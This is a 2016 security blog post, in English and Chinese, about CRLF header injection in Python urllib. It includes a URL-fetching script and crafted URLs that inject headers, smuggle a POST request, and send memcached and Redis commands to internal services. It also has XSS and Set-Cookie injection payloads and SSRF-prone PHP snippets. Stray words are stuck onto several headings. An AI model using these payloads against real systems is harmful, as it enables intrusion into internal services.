HTTP Header Injection in Python urllib

cataloguephp

1. Overview
2. The urllib Bug
3. Attack Scenarios
4.  其餘場景
5. 防禦/緩解手段

 

1. Overviewhtml

Python's built-in URL library ("urllib2" in 2.x and "urllib" in 3.x) is vulnerable to protocol stream injection attacks (a.k.a. "smuggling" attacks) via the http scheme. If an attacker could convince a Python application using this library to fetch an arbitrary URL, or fetch a resource from a malicious web server, then these injections could allow for a great deal of access to certain internal services.
相似於crlf注入,python的urllib2/3的這個漏洞的本質在於HTTP協議是一個7層的弱格式協議,而庫自己又未對輸入源進行敏感字符過濾,致使注入的發生python

0x1: CRLF Injectionios

CRLF是"回車 + 換行"(\r\n)的簡稱。在HTTP協議中,HTTP Header與HTTP Body是用兩個CRLF分隔的,瀏覽器就是根據這兩個CRLF來取出HTTP 內容並顯示出來。因此,一旦咱們可以控制HTTP 消息頭中的字符,注入一些惡意的換行,這樣咱們就能注入一些會話Cookie或者HTML代碼,因此CRLF Injection又叫HTTP Response Splitting,簡稱HRS web

0x2: CRLF Injection實例redis

1. 注入302跳轉 json

一個正常的302跳轉包是這樣瀏覽器

HTTP/1.1 302 Moved Temporarily 
Date: Fri, 27 Jun 2014 17:52:17 GMT 
Content-Type: text/html 
Content-Length: 154 
Connection: close 
Location: http://www.sina.com.cn

注入cookie

http://www.sina.com.cn%0aSet-cookie:JSPSESSID%3Dwooyun

注入了一個換行,此時的返回包就會變成這樣app

HTTP/1.1 302 Moved Temporarily 
Date: Fri, 27 Jun 2014 17:52:17 GMT 
Content-Type: text/html 
Content-Length: 154 
Connection: close 
Location: http://www.sina.com.cn 
Set-cookie: JSPSESSID=wooyun

這樣就給訪問者設置了一個SESSION,形成一個"會話固定漏洞"

2. 注入XSS

http://www.sina.com.cn0d%0a%0d%0a<img src=1 onerror=alert(/xss/)>

返回包

HTTP/1.1 302 Moved Temporarily 
Date: Fri, 27 Jun 2014 17:52:17 GMT 
Content-Type: text/html 
Content-Length: 154 
Connection: close 
<img src=1 onerror=alert(/xss/)>

瀏覽器會根據第一個CRLF把HTTP包分紅頭和體,而後將體顯示出來。因而這裏這個標籤就會顯示出來,形成一個XSS

3. 注入多個(multi)HTTP請求包

經過在換行回車後再注入一個新的HTTP(甚至能夠是gopher協議)包,讓url解析方發出多個HTTP請求

Relevant Link:

http://drops.wooyun.org/papers/2466

 

2. The urllib Bug

The HTTP scheme handler accepts percent-encoded values as part of the host component, decodes these, and includes them in the HTTP stream without validation or further encoding. This allows newline injections

#!/usr/bin/env python3

import sys
import urllib
import urllib.error
import urllib.request

url = sys.argv[1]

try:
    info = urllib.request.urlopen(url).info()
    print(info)
except urllib.error.URLError as e:
    print(e)

This script simply accepts a URL in a command line argument and attempts to fetch it.

./fetch.py http://114.215.190.203:12345/foo 

malicious hostname inject

./fetch.py http://114.215.190.203%0d%0aX-injected:%20header%0d%0ax-leftover:%20:12345/foo

Here the attacker can fully control a new injected HTTP header.
The attack also works with DNS host names, though a NUL byte must be inserted to satisfy the DNS resolver. For instance, this URL will fail to lookup the appropriate hostname

 

3. Attack Scenarios

0x1: HTTP Header Injection and Request Smuggling

if an ordinary HTTP request sent by urllib looks like this

GET /foo HTTP/1.1
Accept-Encoding: identity
User-Agent: Python-urllib/3.4
Host: 127.0.0.1
Connection: close

Then an attacker could inject a whole extra HTTP request into the stream with URLS like

./fetch.py http://114.215.190.203%0d%0aConnection%3a%20Keep-Alive%0d%0a%0d%0aPOST%20%2fbar%20HTTP%2f1.1%0d%0aHost%3a%20127.0.0.1%0d%0aContent-Length%3a%2031%0d%0a%0d%0a%7b%22new%22%3a%22json%22%2c%22content%22%3a%22here%22%7d%0d%0a:12345/foo

0x2: Attacking memcached

相似於經過SSRF注入memcache,http header injection一樣能夠劫持server端,向內網的redis、memcache應用發起TCP請求,實現內網滲透的效果
In our case, if we could fool an internal Python application into fetching a URL for us, then we could easily access memcached instances. Consider the URL

./fetch.py http://114.215.190.203%0d%0aset%20foo%200%200%205%0d%0aABCDE%0d%0a:12345/foo

the above lines in light of memcached protocol syntax, most of the above syntax errors. However, memcached does not close the connection upon receiving bad commands. This allows attackers to inject commands anywhere in the request and have them honored. The above request produced the following response from memcached (which was configured with default settings from the Debian Linux package):

ERROR
ERROR
ERROR
ERROR
ERROR
STORED
ERROR
ERROR

0x3: Attacking Redis

./fetch.py http://114.215.190.203%0d%0aCONFIG%20SET%20dir%20%2ftmp%0d%0aCONFIG%20SET%20dbfilename%20evil%0d%0aSET%20foo%20bar%0d%0aSAVE%0d%0a:6379/foo

Relevant Link:

http://blog.blindspotsecurity.com/2016/06/advisory-http-header-injection-in.html

 

4.  其餘場景

0x1: PHP URL解析庫

1. CURL

<?php 
    if (isset($_GET['url']))
    {
        $link = $_GET['url'];
        $curlobj = curl_init();
        curl_setopt($curlobj, CURLOPT_POST, 0);
        curl_setopt($curlobj,CURLOPT_URL,$link);
        curl_setopt($curlobj, CURLOPT_RETURNTRANSFER, 1);
        $result=curl_exec($curlobj);
        curl_close($curlobj); 
        echo $result;
    }
?>

2. file_get_contents

<?php
    $url = $_GET['url'];
    $content = file_get_contents($url);
    echo $content;
?>

3. fsocket

PHP的URL解析相關庫在發起URL遠程請求前,會對參數進行敏感字符過濾

 

5. 防禦/緩解手段

PHP header()函數中提到了:
從 PHP 4.4 以後,該函數防止一次發送多個報頭。這是對頭部注入攻擊的保護措施

Relevant Link:

http://php.net/manual/en/function.header.php

 

Copyright (c) 2016 LittleHann All rights reserved

相關文章
相關標籤/搜索